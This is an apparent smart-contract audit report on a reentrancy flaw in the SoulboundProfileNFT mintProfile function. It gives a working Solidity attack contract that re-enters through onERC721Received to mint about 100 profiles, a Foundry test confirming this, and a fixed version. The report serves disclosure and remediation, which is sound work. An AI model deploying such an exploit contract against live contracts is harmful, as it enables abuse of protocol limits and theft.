Summary
A smart contract reentrancy attack is a vulnerability in blockchain-based smart contracts that allows an attacker to repeatedly call a function before the previous execution is complete. This can lead to unintended behaviour, such as draining funds from a contract.
Vulnerability Details
The mintProfile function of the SoulboundProfileNFT calls _safeMint
before updating the status (not following CEI).
It is possible to create a malicious contract that calls this function and implements the onERC721Received
function to then call the _safeMint
again and again.
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Impact
This allows to mint several SoulboundProfileNFTs, even though the protocol expects that one address can only mint one NFT.
The following contract can be used to perform the attack.
pragma solidity ^0.8.19;
import "../src/SoulboundProfileNFT.sol";
contract AttackSoulboundProfileNFT {
SoulboundProfileNFT soulboundProfileNFT;
address payable public owner;
uint256 private count;
constructor(address _contractAddress){
soulboundProfileNFT = SoulboundProfileNFT(_contractAddress);
owner = payable(msg.sender);
}
function attack() external {
soulboundProfileNFT.mintProfile("AttackSoulboundProfileNFT", 20, "ipfs://profileImage");
count += 1;
}
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4 retval) {
require(msg.sender == address(soulboundProfileNFT), "can't sorry");
count += 1;
if(count < 101){
soulboundProfileNFT.mintProfile("AttackSoulboundProfileNFT", 20, "ipfs://profileImage");
}
return AttackSoulboundProfileNFT.onERC721Received.selector;
}
receive() payable external {}
}
The following test was added to the test suite to confirm the issue.
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
import "./AttackSoulboundProfileNFT.sol";
contract SoulboundProfileNFTTest is Test {
SoulboundProfileNFT soulboundNFT;
address user = address(0x123);
address user2 = address(0x456);
address owner = address(this);
function setUp() public {
soulboundNFT = new SoulboundProfileNFT();
}
function testReentrancy() public {
AttackSoulboundProfileNFT attackSoulboundProfileNFT = new AttackSoulboundProfileNFT(address(soulboundNFT));
attackSoulboundProfileNFT.attack();
assert(soulboundNFT.balanceOf(address(attackSoulboundProfileNFT)) >= 100);
}
}
Tools Used
Foundry
Recommendations
Perform the update of the profileToToken
before calling _safeMint
. Alternatevely, use ReentrancyGuard from OpenZeppelin.
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
_safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}